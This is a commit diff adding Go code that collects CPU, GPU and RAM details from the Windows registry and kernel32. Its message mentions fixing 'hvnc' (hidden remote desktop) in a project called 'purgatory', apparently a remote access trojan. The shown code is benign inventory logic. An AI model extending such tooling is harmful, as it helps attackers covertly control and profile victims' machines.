fix remote desktop and hvnc issue and add cpu, gpu and ram info to purgatory

2026-04-01 17:27:31 -05:00
parent 8f50f4af19
commit 02953a86e1
13 changed files with 359 additions and 13 deletions
@@ -0,0 +1,114 @@
+//go:build windows
+
+package sysinfo
+
+import (
+	"fmt"
+	"strings"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+	"golang.org/x/sys/windows/registry"
+)
+
+func collectPlatform() Info {
+	return Info{
+		CPU: cpuName(),
+		GPU: gpuName(),
+		RAM: totalRAM(),
+	}
+}
+
+func cpuName() string {
+	k, err := registry.OpenKey(registry.LOCAL_MACHINE,
+		`HARDWARE\DESCRIPTION\System\CentralProcessor\0`, registry.QUERY_VALUE)
+	if err != nil {
+		return "unknown"
+	}
+	defer k.Close()
+	name, _, err := k.GetStringValue("ProcessorNameString")
+	if err != nil {
+		return "unknown"
+	}
+	return strings.TrimSpace(name)
+}
+
+func gpuName() string {
+	basePath := `SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`
+	k, err := registry.OpenKey(registry.LOCAL_MACHINE, basePath, registry.ENUMERATE_SUB_KEYS)
+	if err != nil {
+		return "unknown"
+	}
+	defer k.Close()
+
+	subkeys, err := k.ReadSubKeyNames(-1)
+	if err != nil {
+		return "unknown"
+	}
+
+	var gpus []string
+	for _, sub := range subkeys {
+		if len(sub) != 4 {
+			continue
+		}
+		allDigits := true
+		for _, c := range sub {
+			if c < '0' || c > '9' {
+				allDigits = false
+				break
+			}
+		}
+		if !allDigits {
+			continue
+		}
+
+		sk, err := registry.OpenKey(registry.LOCAL_MACHINE,
+			basePath+`\`+sub, registry.QUERY_VALUE)
+		if err != nil {
+			continue
+		}
+		desc, _, err := sk.GetStringValue("DriverDesc")
+		sk.Close()
+		if err != nil || desc == "" {
+			continue
+		}
+		gpus = append(gpus, strings.TrimSpace(desc))
+	}
+
+	if len(gpus) == 0 {
+		return "unknown"
+	}
+	return strings.Join(gpus, ", ")
+}
+
+func totalRAM() string {
+	type memoryStatusEx struct {
+		Length               uint32
+		MemoryLoad           uint32
+		TotalPhys            uint64
+		AvailPhys            uint64
+		TotalPageFile        uint64
+		AvailPageFile        uint64
+		TotalVirtual         uint64
+		AvailVirtual         uint64
+		AvailExtendedVirtual uint64
+	}
+
+	kernel32 := windows.NewLazySystemDLL("kernel32.dll")
+	globalMemoryStatusEx := kernel32.NewProc("GlobalMemoryStatusEx")
+
+	var ms memoryStatusEx
+	ms.Length = uint32(unsafe.Sizeof(ms))
+
+	ret, _, _ := globalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms)))
+	if ret == 0 {
+		return "unknown"
+	}
+
+	gb := float64(ms.TotalPhys) / (1024 * 1024 * 1024)
+	if gb >= 1 {
+		return fmt.Sprintf("%.0f GB", gb)
+	}
+	mb := float64(ms.TotalPhys) / (1024 * 1024)
+	return fmt.Sprintf("%.0f MB", mb)
+}